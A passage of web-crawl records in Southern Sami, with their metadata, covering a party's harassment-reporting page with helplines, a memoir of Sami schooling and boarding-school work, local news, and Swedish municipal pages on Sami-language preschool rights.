sjugniedidh dïsse mij byöroe sisveginie årrodh daejnie njoelkedassine.\nMah tsiehkieh NSR sæjhta goerehtalledh?\nMijjen lea ïedtje gaajhkh heannadimmieh åadtjodh ovvaajteles seksuelle dååjresijstie. Maahta fysiske jallh verbaale heannadimmieh, jallh jeatjah heannadimmieh mah leah ov-sjiehteles orreme. Juktie maehtedh jearsoes areenah gorredidh siebresne, mijjieh aaj ïedtjem utnebe daejredh gusnie jïh mennie ektiedimmine dagkerh ovvaajteles tsiehkieh jijhtieh.\nMaam NSR bïevnesigujmie dorje mah sïjse båetieh?\nJis bïevnesh leah dan itjmies guktie lea daerpies dejtie tjïelkelaakan bæjjese fulkedh, dellie sïjhtebe gaskesadtedh dam mij bïevnesem dan bïjre seedteme, jïh jis ståvroe edtja aamhtesem bæjjese fulkedh daate dorjesåvva rååresjimmesne bïeljelæjjine ektine. Jeatjah bïevnesh sïjhtebe nommehts våaroeminie nuhtjedh juktie tsiehkide analyseradidh NSR:sne, dejnie ulmine råajvarimmiejgujmie nierhkedh juktie enn jearsoesåbpoe siebriem sjugniedidh.\nGïeh maehtieh vaestiedasside goerine vuejnedh?\n#NSRaaj-moenehtse goerem låhka. Moenehtsisnie NRS:n siebrien mubpieåvtehke Beatrice Fløystad, rijhketjåanghkoeståvroen lïhtsege Astrid Dankertsen, NSR:n parlamentarihkeles åvtehke Saemiedigkesne, Runar Myrnes Balto jïh Kirsti Guvsám, NSR:n aarebi parlamentarihkeles åvtehke Saemiedigkesne. Lissine åvtehke Beaska Niillas jïh tjaelemesijjien åvtehke Thomas Myrnes Nygård luhpiem utnieh bïevnesidie.\n- DIXI Ressurssenter for voldtatte:tellefovne 22 44 40 50\n- Kirkelig Ressurssenter mot vold og seksuelle overgrep \/Gyrhkeles Vierhtiejarnge vædtsoesvoeten jïh seksuelle daaresjimmiej vööste: tellefovne 23 22 79 30\n- Reform – vierhtiejarnge gaarmanæjjide:\n- Gaarmanæjjatellefovne 22 34 09 60 (aarkebiejjiej 17 – 20)\n- Seksuelle overgrep – Laantenvijries tellefovne inceste- jïh seksuelle leerhkehtallijidie, jïh dej lihke fuelhkie: tellefovne 800 57 000\n- Kirkens\/Gærhkoen SOS: tellefovne 22 40 00 40 (abpe dygne)\n- Maahtah aaj SOS-bïevnesem tjaeledh daesnie www.kirkens-sos.no.\n- Samisk nasjonalt kompetansesenter – psykisk helsevern (SANKS): Snåsa: 902 01 065, Karasjok: 78 46 95 50","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/nsr.no\/6976\/nsraaj-soptsesth-mijjese-dov-daajresi-bijre?lang=sma","date":"2018-02-23T03:02:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814311.76\/warc\/CC-MAIN-20180223015726-20180223035726-00660.warc.gz","language":"sma","language_score":0.9999878407,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999878406524658}","num_words":553,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"På norsk\nArtihkal girjjis Sámi skuvlahistorjá 5. Davvi Girji 2011.\nBetty Kappfjell:\n«Finnunge» Troforsesne, internaaten maarhmore Aarbortesne\nSoptsestamme Svein Lundese\nÅarjel-saemien gïelese jarkoestamme: Ellen Bull Jonassen\n\n\nBetty Kappfjell, Maajhjaevrie, 2009\n(Govva: Svein Lund)\n|Betty Kappfjell reakasovvi jaepien 1954, goh dïhte mubpie nööremes vïjhte åerpienistie aktene båatsoefuelhkesne. Reakasovvi Reevhtsen lïhke, aktene gaertienisnie man nomme Engås, fuelhkien giesielaanten lïhke. Jïjtjehke årromesijjie lij Hirksrissesne Gaalan tjïeltesne, Nordlaanten åarjemes raedtesne.\n\n\nBetty maadthskuvlem Troforsesne vaadtseme, jïh åesiesskuvlem jïh båatsoeburrieskuvlem, jïh Gaske-Nøørjen Saemieskovlen internaatesne barkeme mænngan 1974. Dïhte aaj lïhtseginie orreme Saemieskovlen ståvrosne, gusnie dovne barkiji tjirkijinie jïh eejhtegi tjirkijinie orreme.\nDaesnie Betty jïjtse skuvletïjjen bïjre jïh barkoen bïjre internaatesne soptseste. Soptsese lea tjaaleme jaepien 2008.\nHavika\nMov gåabpatjahkh eejhtegh lægan saemieskuvlesne Havikesne vaadtseme. Desnie jïjnjh muevies vuekieh åtnalgin. Meehtin learoehkidie strååffedh gosse dejtie stilli dah edtjin dejtie jabjoehkommes lïerehtidh. Aehtjebe dam ikth dååjrehti, dellie ajve jåasoeh aath lïerehti. Goh bysvehtse dan åvteste vihth dle tjoeri aktine plaave healmine vaedtsedh. Akte jïjnje nåhtadamme strååffemevuekie Havikesne lij baernide noerhkedh nïejti gaarvoejgujmie vaedtsedh.\nGïelemolseme\nGoh jïjnjh jeatjebh mov boelvesne dle manne akte sjïeledahke ihke mov eejhtegh veeljin daaroestidh gåetesne. Sinsitnine dovne saemiestin jïh daaroestin, maanide jeanatjommes daaroestin.\nSaemien ajve båatsosne nåhtadin jïh ajve båatsoegïeline sjïdti. Daate akte evtiedimmie mij guhkiem vaasi, juktie mov båarasommes åabpa, guhte lea luhkien jaepien båarasåbpoe manneste, sagki vielie saemien lïeri manneste. Mænngan manne mov eejhtegidie gihtjim mannasinie dah eah vielie mijjese saemiestin. Dej buerkiestimmie lij mijjieh edtjimh daaroen lïeredh jïh bieline voeneste årrodh. Juktie mijjieh saemien guarkajimh, bene idtjimh soptsesth.\nMaadthskuvle Troforsesne\nMov golme båarasåbpoe åerpenh saemieskuvlesne Aarbortesne eelkin, jïh dïhte båarasommes lij desnie abpe skuvletïjjen. Bene juktie mij akt saemieskuvlesne heannadi, dah göökte mubpieh tjoerin desnie orrijidh, jïh dej minngemes jaepiej Troforsesne veedtsin, jïh eah gåessie mijjieh nööremes dohkoe seedtesovvh.\n1958 raajan lij skuvle Gaalesne. Bene gosse dam slïejhti, dle dïhte geetskemes skuvle mijjese lij Vegset skuvle Troforsesne. Manne desnie eelkim 1962 jïh desnie gaajhkh 9 jaepieh veedtsim. Mijjieh limh dah voestes mah 9-jaepien skuvlem åadtjoejimh daesnie.\nDellie lin geajnoem bigkeme Gaaleste Hirksrissien gåajkoe faamoebigkemen gaavhtan Reevhtsen lïhke. Bene ij lij naan skuvleskovhte debpede, juktie tjoerimh 5 kilomeeterh vaedtsedh åejviegeajnoen gåajkoe (E6). Daelvege meehti slæjhtoes årrodh geajnoen gåajkoe båetedh, dannasinie geajnoem nåakelaakan beelin. Gaalan luvhtie lij skuvleskovhte Troforsen gåajkoe, bene ååpsen slæjhtoes sjïdti dejtie voestes 5 kilomeeteridie vaedtsedh jïh dan mænngan aktem mïjlem bussesne tjahkasjidh. Lissine tjidtjebe lij bovtsiluvnie seamma jïjnje goh aehtjebe, jïh ij lij iktegisth naaken gåetesne mah mijjem suvhtin. Juktie dej voestes jaepiej dle fuelhkiej luvnie Troforsesne årroejim. Tjåanghkan årroejim golme joekehts gaertieninie. Mov eejhtegh dah, mah tjoerin årromesijjiem mijjese gaavnedh, vïenhtem dah aaj tjoerin dan åvteste maeksedh. Nov lij badth hijven daejnie gaertieninie årrodh, dah lin gïemhpes almetjh, beapmoem åadtjoejimh, jïh viehkiem aaj leaksoejgujmie åadtjoejimh gosse dam daarpesjimh. Læjhkan ij lij iktegisth aelhkie årromesijjiem gaavnedh mijjese, såemies aejkien dle idtjimh naan latjkoem utnieh aarebi skuvle eelki tjaktjege, jïh dle mijjieh åerpenh tjoerimh oktegh gåetesne årrodh jïh skuvlen gåajkoe sygkeldidh goske mijjen eejhtegh sijjiem mijjese gaavneme. Dej minngemes jaepiej akte kaarre maaksoem åadtjoeji juktie mijjem åejviegeajnoen gåajkoe vuejedh, gubpede skuvlebussem dåeriedimh. Dellie meehtimh gåetesne årrodh mearan skuvlesne veedtsimh.\nNov lij buerebe båantaj jïh båatsoen gaskemsh dellie, goh dej minngemes jaepiej orreme. Nov amma heannadi bovtse ïentjese bööti, bene dan aejkien idtji naan stoerre aamhtese sjïdth. Mijjem gujht finnunger gohtji, bene dïhte badth iemie. Mijjieh lïereme mijjieh edtjimh årrodh dam maam limh, jïh idtjimh sïjhth tjïekedidh. Gosse lij galhkuve skuvlesne dellie gåptoem tseekim. Nov lij badth dïhte learoe maam tjidtjiebistie åådtjeme mij darjoeji mijjieh idtjimh neerrehtimmeste aaperh, bene dan bijjelen lokngesimh. Dah lohkehtæjjah eah lin jeatjahlaakan mijjese goh jeatjabidie.\nSkuvlesne ij lij mahte mejtegh saemien tsiehkiej bïjre. Dïhte aajnehke maam måjhtam lij Torbjørn Egneren lohkemegærjesne, desnie akte lohkemestuhtje båatsoesaemiej bïjre mah Gárasavvon jïh Ulisuolon gaskem Romsesne juhtin. Manne dam stuhtjem mahte goh mov veeltim, jïh dam annje måjhtam, juktie dïhte lij dïhte aajnehke gærjesne gusnie manne meehtim damtestidh.\nMijjieh gujht aktem faagem utnimh mij lij gåetiedaajroe, bene desnie ij mejtegh gænnah dan voenges dajven bïjre. Dïhte histovrije lij dej båeries gånkaj bïjre, idtjim manne nåhtoem vuejnieh dan bïjre lïeredh, juktie im lim dan væjkele dennie faagesne.\nGöökte saemijste gellide saemide\nDåaroen mænngan jïjnjh saemieh tjïekedin. Dah mah bovtsigujmie gïehtelin idtjin maehtieh tjïekedidh, jïh naemhtie mahte ajve dah båatsoesaemieh dah, mah saemine vååjnedin. Gaajhki jaepiej manne skuvlem veedtsim Troforsesne idtjim daejrieh jeatjah saemien learohkh lin desnie goh månnoeh vïellh. Bene mænngan dle manne jienebh vueptiestamme. Akte dejstie guhte idtjim daejrieh saemine lij dellie, manne mænngan rektovrine gaavnesjim Saemienskovlesne Aarbortesne gosse desnie barkim. Aaj jïjnjh jeatjebh dejstie mah mov klaassesne veedtsin leah mænngan jïjtjemse saemielåhkose tjaaleme. Dej gaskem lea akte dejstie mah daamtajommes mannem jïh mov åerpenh goh «finnungar» gåhtjoeji.\nBåatsoeburrieskuvle\nNoereskuvlen mænngan dle voestegh aktem jaepiem åesies- jïh kontovrefaagem lohkim Vefsn yrkes-skuvlesne Musserisnie. Dan mænngan Borkenesen gåajkoe vöölkim jïh Staaten båatsoeburrieskuvlem veedtsim jaepien 1972\/73. Manne lim aajnehke nïejte klaassesne dan jaepien, mijjieh göökte åarjelsaemieh. Tjoerem jiehtedh båatsoemaahtoe lij raaktan nåake lohkehtæjjaj luvnie dan jaepien manne desnie. Goh åejvielohkehtæjja lij Per Holm Varsi Taneste, bene dïhte lij båanta jïh agronovme jïh ij naan maehteles almetje båatsoen bïjre. Doh jeatjah lohkehtæjjah sagki nåakebe daajroem utnin båatsoen bïjre. Juktie jïjnjem lïerimh mestie idtjimh nåhtoem utnieh, learoe fievsien kreeki bïjre goh govse, sïrve jïh vielie. Måjhtam manne njaalmeldh eksamenem utnim fievsiekreekelearosne jïh tjoerim govsen tjåejjien bïjre buerkiestidh. Siebriedahkelearosne ajve stoerredigkien jïh stuvrehtimmien bïjre utnimh, jïh ij mejtegh saemien tsiehkiej bïjre jïh dagkeri bïjre mah lin nuhteligs båatsoen gaavhtan. Måjhtam mijjieh dam leejhtimh, jïh jïjnjem faagelohkehtæjjajgujmie dïjveldimh. Dïhte guhte lij væjkalommes laejhtedh lij akte dejstie mov klaassevoelpijste, John Henrik Eira Karasjohkeste. Bene im jaehkieh mijjieh dan gåhkese böötimh ihke buektiehtimh aktem tjaaleldh laejhtemem seedtedh.\nMestie mijjieh jïjnjem lïerimh lij gosse limh bovtsedotkemestasjovnesne Lødingesne. Måjhtam dellie lin gïehteleminie bovtsem Svalbardeste sïejhme bovtsine ektiedidh, bene im daejrieh mij destie sjïdti.\nIj leah luhpie gåptojne tjaangedh\nBåatsoeburrieskuvlen mænngan guhkiebasse noerhtese vöölkim. Voestegh akten gueliebårran böötim Goahteluoktesne. Varki åahpenim jienebh saemien fuelhkiejgujmie desnie, jïh manne gujht tråjjadim, bene im maehtieh årrome-, barkoe- jallh baalhkatsiehkide garmerdidh. Mijjieh 4 barkijh ektesne årroejimh aktene leejjemetjiehtjielisnie. Guelieburrien aajhtere aaj leejjemegåetiem jïh bovrem eeki. Mijjen tæjmoebaalhka lij 10,31 kr, jïh gosse gåetieleejjemen åvteste maakseme, jïh maakseme dam maam bæjjese tjaaleme bovresne, dellie mahte abpe baalhka nåhkedamme. Juktie mov voelpe jïh manne gaavnehtimh ij lij naan båetije aejkie daesnie årrodh. Mijjieh tjihkedimh jïh gaajhkide hotellide tjeelimh Finnmarhkesne, jïh gihtjimh mejtie dah barkoem mijjese utnin, jïh barkoem åadtjoejimh Guovdageaidnun turistehotellesne. Direktööre lij åerjielistie jïh ij lij dan vietseles saemiej vööste. Dïhte mijjem stilli mijjieh idtjimh baajedh saemieh gåptojne tjaangedh. Daate lij påaski (1974) jïh konserte plaastehaallesne orreme, jïh mænngan dle jïjnjh almetjh hotellese böötin. Hævvi im maehtieh aktem dagkeres stillemem goltelidh, juktie manne gujht baajim almetjh tjaangedh. Dellie direktööre jïjtje bööti movri, jïh voejhkeli dejtie saemide gåptojne olkese sleengkedh. Bene akte såevmien TV-dåehkie lij desnie mij konsertem filmadamme jïh raaktan dellie dah böötin. Juktie dah filmadin gosse direktööre voejhkeli saemide olkese sleengkedh, jïh daate gujht aaj TV'esne seedtesovvi Såevmesne.\nAarborte\nGosse naan askh Guovdageaidnusne orreme dle åadtjoejim govledh akten gaavnoes sæjjasadtjebarkoen bïjre saemieskuvlen internaatesne Aarbortesne. Juktie manne dam ohtsedim jïh mænngan daesnie orreme. Klahkine eelkim jallh gåetieviehkine, daan biejjien leam barkoen åvtehke, bene dïhte lea dïhte seamma barkoe maam aarebi gåhtjoeji maarhmore.\nGuhkiem skuvle ajve åadtjoeji aktem jaepiem aejkeste gïehtelidh, jïh dïhte båetije aejkie lij joekoen muevies. Bene jaepien 1977 raejeste jïjtsh gåetieh åadtjoejimh, jïh dellie ånnetji buerebe sjïdti. Mijjieh sïjhtimh staaten nuelesne årrodh, bene åarjelsaemiej gaskem lin, jïh leah joekehts åssjaldahkh mejtie saemieskuvlh byöroeh staaten jallh tjïelten nuelesne årrodh. Dïhte mannasinie mijjieh göökte skuvlh utnebe daelie, akte tjïelten jïh akte staaten.\nGaske-Nöörjen Saemienskovle lij guhkiem dïhte aajnehke staaten internaate Finnmarhken ålkolen.\nGaajhkh staaten maadthskuvleinternaath lij «særbidragskassereren» [1] nuelesne, Čáhcesuolusne, Birger Johnsen. Fïerhten gïjren mijjieh, mah internaatesne barkin, limh kuvsjesne maam dïhte stuvri. Mænngan daate öörnege orriji, dannasinie ij lij mahte jienebh internaath aajmene, jïh mijjieh Staaten ööhpehtimmiekontovren Nordlaantesne nualan böötimh.\nAarebi ij lij akte rïektes saemieskuvle. Bene daej 34 jaepiej manne internaatesne barkeme Aarbortesne stoerre jarkelimmieh orreme. Dïhte vihkielommes lea saemien akte obligatovreles faage sjïdteme. Åarjelsaemien lea tjaaleldh gïeline sjïdteme jïh daesnie lohkehtæjjah mah saemien maehtieh. Dah lohkehtæjjah maehtieh saemien aamhtesh bæjjese vaeltedh gaajhkine faagine.\nMijjieh aelkebe illedahkem vuejnedh dehtie barkoste saemieskuvline. Skuvle lea viehkiehtamme åarjelsaemien gïelem nænnoestidh jïh daan mearan naa jïjnjh åarjelsaemieh jollebe ööhpehtimmiem vaalteme.\n|Betty Kappfjell lea maarhmorine barkeminie Saemieskovlesne Aarbortesne, 2002.|\n(Govva: Basia Głowacka)\n|Beapmoesavkeste Saemieskovlesne Aarbortesne, 2002.|\n(Govva: Basia Głowacka)\nBåetije aejkie saemieskuvlese?\nDah göökte saemieskuvlh lin guhkiem dïhte aajnehke faalenasse åarjelsaemide jis edtjin ööhpehtimmiem åadtjodh saemien gïelesne jïh saemien sisveginie. Mænngan aaj learohkh maehtieh skuvlem sijjen hïejmesijjesne vaedtsedh, jïh læjhkan aktem faalenassem åadtjodh saemien gïelen jïh kultuvren sisnjelen. Muvhtene lehkesne voenges lohkehtæjjah, mubpieh maajhööhpehtimmiem åadtjoeh mijjeste jallh Snåaseste. Jienebh dejstie aaj vïesehtimmiem utnieh saemieskuvlesne, dïhte sæjhta jiehtedh learohkh diekie båetieh 6 våhkoeh jaepien, jïh dellie ööhpehtimmiem åadtjoeh aamhtesi bïjre goh saemien gïele, kultuvre, vytnesjimmie, ålkoedarjome jïh båatsoe. Dellie göökte dåehkieh, 1. – 6. jïh 7. – 10. klaasse fïereguhten dåehkesne, juktie skuvlesne 12 våhkoeh jaepien utnebe, gosse vïesehtimmielearohkh båetieh jïh internaatesne årroeh.\nDaate faalenasse dorjeme guktie saemieskuvle sagki vaenebe sïejhme learohkh åådtjeme. Mijjieh dan vaenie goh 6 learohkh åtneme, mah leah bïejeme goh dïhte unnemes raaste jis skuvle edtja jåarhkedh. Minngemes jaepien (2007\/2008) 10 learohkh åtneme, jïh daelie vååjnoe goh 15 learohkh sjidtieh.\nDejstie learoehkijstie skuvlesne 2007\/08 dle 3 learohkh saemien voestesgïeline utnieh. Ij guhte dejstie vïesehtimmielearoehkijstie saemien voestesgïeline utnieh.\nJiene jienebh eejhtegh veeljieh saemiestidh maanide. Dah gujht veeljieh ij maanide saemieskuvlese seedtedh.\nAarebi åajvahkommes maanah båatsoste mah saemieskuvlesne veedtsin, kaanne 90 % båatsoste bööti. Dej gaskem mah ektiedimmiem skuvlese utnieh daan biejjien, goh stïeres learohkh jallh vïesehtimmesne, vaenebe goh 50 % båatsoste båata.\nAkte internaate ij gåessie gænnah maahta hïejmine årrodh, bene mijjieh voejhkelibie vielie hïejmine årrodh goh institusjovne. Bijjelen 20 jaepien gietjeste eejhtegh sïjhtin aktem vihties åejviealmetjem utnedh govlehtallijinie internaatesne. Bene ij guhte mijjeste meehti abpe dygnem barkedh iktegisth. Juktie mijjieh naemhtie öörnedamme, daelie mijjieh göökte mah maarhmorebarkoem juekieh. Gåabpatjahkh månnoeh Maajejaevresne årroeminie, medtie 80 km Aarborteste, jïh daelie öörnedamme mijjieh aktem våhkoem fïerhten aejkien barkebe, jïh dle aktem våhkoem gåetesne. Gosse barkosne dellie guhkies biejjieh 7 biejjieh. Daate akte öörnege maam dovne learohkh, eejhtegh, mijjieh jïh mijjen fuelhkieh tuhtjieh hijven. Tjåanghkan libie 6 barkijh internaatesne, doh jeatjebh sïejhme turnusem utnieh.\nGïelem bååstede vitnedh\nJïjtje gelline saemienkuvsjine vaadtseme, maam Sijti Jarnge [2] öörnedamme. Juktie manne mån maahtam «moeren gaskoeh». Goh barkije internaatesne lea vihkeles mijjieh maehtebe learoehkidie leaksoejgujmie viehkiehtidh, jïh dannasinie mijjieh byörebe ånnetji åarjelsaemien maehtedh.\nMov göökte nïejth jïh gåabpatjahkh saemien lïereme. Dïhte båarasommes (Kirsten Appfjell Eira) lij dej voestes gaskem mah saemienööhpehtimmiem åadtjoeji saemieskuvlesne Aarbortesne, jååhkesjamme reaktoetjaelemen mietie, jïh mij eksamenem veelti saemien gïelesne. Dïhte lij dan seenhte goh jaepien 1988. Mænngan dïhte åarjelsaemien lohkeme jïh baalhkam gïeleste åådtje. Dïhte åarjelsaemien ööhpehte maajhööhpehtimmien tjïrrh jïh aaj aktem jïjtse sïeltem tseegkeme, «Sørsamiske språktjenester» (Åarjel-saemien gïeledïenesjh). Dïhte noerhtesaemine pruvreme jïh Karasjohkesne orre jïh åarjelsaemien sov maanide soptseste, guktie dah dovne åarjel- jïh noerhtesaemien gïeligujmie byjjenieh. Dïhte nööremes nïejte båatsosne barka.\nManne vuajnam evtiedimmie jarkelamme jïh im seamedh dej pessimistigujmie mah vienhtieh dïhte saemien gïele sæjhta nåhkedidh.\n[1] «Særbidragene for landsfolkeskolen i Finnmark» bøøti Finnefondet minngesne, vuartesjh jienebh tjaalegh Saemien skuvlehistovrijesne, dej gaskem Henry Minden tjaalege voestes gærjesne\n[2] Sijti Jarnge lea dïhte åarjelsaemien kultuvrejarnge Aarbortesne\nEará artihkkalat Sámi skuvlahistorjá 5-girjjis","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/skuvla.info\/skolehist\/betty-s.htm","date":"2018-02-21T11:18:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813608.70\/warc\/CC-MAIN-20180221103712-20180221123712-00032.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":1806,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåsningen kommer på nett - siden er under arbeid\nDette er en testversjon av Snåsningens nye nettside.\nAkte vihth råate lea vuatjasovveme Jillievoenen vijremetjïerteste\nGorredimmiebarkoe væjroen vööste Jørstad-jeanoen lïhke Undsetesne lea hijvenlaakan jåhteme.\nFer tjarke saavreme jalladahkesne. Daate tjïelkeste man åvteste Jon Åge Tyldum idtji OL:sne Lillehammerisnie lyhkesh.\nIkke før er det store jubileumsåret omme, så fortsetter det med flere store samiske feiringer.\nMillioner av TV-seere får se det japanske filmfolk har jobbet med i tre dager på Snåsa.\nSnåase sov voestes laadestasjovnem åådtjeme. Dïhte gaervies tjåådtje Snåsakroesne.\nSnåasen Saniteetesiebrien barkoetjïerte Øverbygdesne lea preemijh basaarese dorjeme göökte jaepieh.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.snasningen.no\/tema\/S%C3%B8rsamisk\/","date":"2018-02-23T06:04:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814493.90\/warc\/CC-MAIN-20180223055326-20180223075326-00252.warc.gz","language":"sma","language_score":0.9865175486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9865175485610962}","num_words":97,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jååktan lij govlehtimmie Stoerredigkesne gusnie saemieh institusjovnh, gærhkoeraerie jih polijtikerh soptsestin mannasinie lea vihkeles saetniesvoetekommisjovnem tsaekedh.\nAkte dejstie lij Eva Maria Fjellheim (ÅaSG).\n– Lea vihkeles govlehtimmie. Daate uvtelasse lea dïhte vihkielommes gyhtjelasse daelie, jis mijjieh edtjebe jååhkesjimmie åadtjodh, Fjellheim jeahta.\nDïhte jeahta lea stoerre haestiehtimmie daelie nimhtie goh dellie, jih dah vuejnieh ovrïekte lea dïhte gaevhtie.\n– Jis mijjieh edtjebe vuejnedh gustie dåeriesmoerem båata, dellie tjoerebe seamma goerkelimmie histovrijistie utnedh.\nNænnoestimmie båata giesien åvtelen\nÅejvie Stoerredigkien gïehtjedimmie- jih konstitusjovnekovmite, Martin Kolberg (Ap) jeahta daate NTBse:\n– Mov våajnoe lea saemien byjrese abpe laantesne nimhtie kommisjovne sijhtieh.\nMohte jeahta eah leah Barkoebielie jallh komitèe dan mearan ennje båeteme guktie dåemiedidh dejnie gyjhtelassine.\nKolberg jeahta lea stoerre nænnoestimmie mij sjædta vaeltedh, ihkie dïhte kommisjovne båata jallh ij.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/_-seamma-goerkelimmie-lea-daerpies-1.13519194","date":"2018-02-24T09:03:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815500.61\/warc\/CC-MAIN-20180224073111-20180224093111-00028.warc.gz","language":"sma","language_score":0.9999587536,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999587535858154}","num_words":123,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle\nKraapohken tjïelte saemien reeremetjïelte tsiengelen 1: biejjien 2012 sjïdti. Naemhtie ahte saemien maanah reaktam utnieh aarhskuvlese abpe jallh biehkie saemiengïelesne naemhtie guktie Laakesne Nasjonelle unnebelåhkoe- jïh unnebelåhkoegïeli bïjre tjåådtje, SFS 2009:724.\nKraapohken tjïelte edtja sijjem aarhskuvlesne faaledh gusnie abpe jallh biehkiem darjosne saemiengïelesne darjoen jis maana\/maanan åelie vaajtele. Tjïeltesne saemienprofileereme aarhskuvledarjoem Kraapohkisnie darjoen aarhskuvlegoevtesisnie Björnen jïh Båargesisnie, pedagogihke hoksesne.\n4 § gïelelaakesne (2009:600) tjåådtje ahte siebriedahke sjïere dïedtem utnieh vaarjelidh jïh evtiedidh dah nasjonelle unnebelåhkoegïelide.\nSiebriedahke edtja aaj evtiedidh dah nasjonelle unnebelåhkoej nuepieh ihke utniehtidh jïh övtiedidh dej kultuvrem Sveerjesne. Maanaj övtiedimmie kulturelle identiteeteste jïh nuhtjemem altese unnebelåhkoegïeleste edtja sjïere evtiedidh.\n17 § Gåessie aktem tjïeltem akten reeremedajvesne sijjem aarhskuvlesne faala jallh pedagogihke hoksem mij skuvlelaakesne 25 kap. tjåådtje (2010:800) mij lissehte jallh faalen aarhskuvli gaavhtan, edtja tjïelte maanam faaledh gåessie åelie vaajta, sijjem darjosne gusnie abpe jallh biehkiem såevmiengïelesne, meängïelesne jallh saemiengïelesne darjoen. Laake (2010:865).\nAarhskuvle edtja meatan årrodh juktie maanah jeatjah ietniengïeline goh daaroengïele nuepiem åadtjoeh gåabpegh daaroengïelem jïh saemiengïelem övtiedidh.\nAarhskuvleklaasse edtja meatan årrodh gosk learohkh jeatjah ietniengïeline goh daaroengïele nuepiem åadtjoeh övtiedidh daaroengïelem jïh altese ietniegïelem, naemhtie guktie skuvlelaakesne tjåådtje 2010:800.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.dorotea.se\/saepmie\/aarhskuvle-foerskola\/aarhskuvle\/","date":"2018-03-23T22:46:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649095.35\/warc\/CC-MAIN-20180323220107-20180324000107-00504.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":174,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien reeremedajve\nKraapohken tjïelte tsiengelen 1:s biejjeste 2012 saemien reeremedajvesne lea. Kraapohken ektine leah 21 jeatjah tjïelth meatan saemien reeremedajvine.\nUnnebelåhkoelaakesne lea aaj moenedimmieh garrebe vaarjelimmien bïjre saemien- såevmien- jïh meängïeline reeremedajvine. Aaj reeremedajvi ålkolen lea garrebe vaarjelimmiem saemien- såevmien jïh meängïelide.\nReaktam såevmiengïele, meängïele jïh saemiengïele åajvaladtji luvnie nuhtjedh:\nAajne reaktam åtna såevmiengïele, meängïele jïh aaj saemiengïele njaalmeldh jïh tjaaleldh gaskesadtemem akten reeremeåajvaladtjine gusnie geografiske darjoedajvem abpe jallh biehkiem lea unnebelåhkoegïelen reeremedajvine.\nDaate lea ieride gusnie aajne lea paarhte jallh klahke paarhtese, jis ieriem gaskesem reeremedajvese åtna. Jis aajne såevmiengïelem, meängïelem jallh saemiengïelem nuhtjieh akten ieresne, åajvaladtje dïedtem åtna njaalmeldh vaestiedimmiem seamma gïelesne vedtedh (§8). Reeremeåajvaladtjh åadtjoeh sjïere boelhkh jïh sjïere sijjem nænnoestidh ihke guessiem dåastoehtidh mah såevmiengïelem, meängïelem jïh aaj saemiengïelem soptsestieh, jïh aaj sjïere telefovne tïjjh utnedh (§12).\nSåevmiengïele, meängïele jïh saemiengïele aarhskuvlesne, såemies jeatjah pedagogihke darjosne jïh voereshokse:\nGåessie aktem tjïeltem akten reeremedajvesne sijjem aarhskuvlesne faala jallh dagkeres pedagogihke darjoem man bïjre skuvleleaakesne 25 kap tjåådtje (2010:800) mij lissehte jallh faalen aarhskuvli gaavhtan, edtja tjïelte maanide faaledh gusnie åelie vaajta, sijjem dagkeres darjosne gusnie abpe jallh biehkiem darjosne såevmiengïelesne, meängïelesne jïh aaj saemiengïelesne darjoen (§17). Kraapohken tjïelte aktem saemien reeremedajve lea jïh saemiengïelem aarhskuvlesne jïh jeatjah pedagogihke darjosne faala.\nAkte tjïelte akten reeremadajvesne edtja satnem faaledh mij vaajta nuepiem abpe jallh biehkiem hoksehtimmeste jïh hoksem voereshokesne barkijijstie mah maehtieh såevmiengïele, meängïele jïh aaj saemiengïele. Seamma aaj tjïeltide reeremedajven ålkolen, jis tjïelte jaksoesvoetem barkijijstie mah maahtoem gïeline utnieh (§18).\nLaake nasjonelle unnebelåhkoe jïh unnebelåhkoegïeli bïjre akten reaktam lea mij laakem vadta jïh ahte dah nasjonelle unnebelåhkoej reaktah aktem biehkiem almetji reaktijste lea.\nImplementeeringe laakeste tjïeltine, laantedigkine jïh dajvine lea dan bïjre juktie reaktide staaran darjodh jïh ij ajve daerpiesvoetide, ïedtjide jïh vaajtelidie 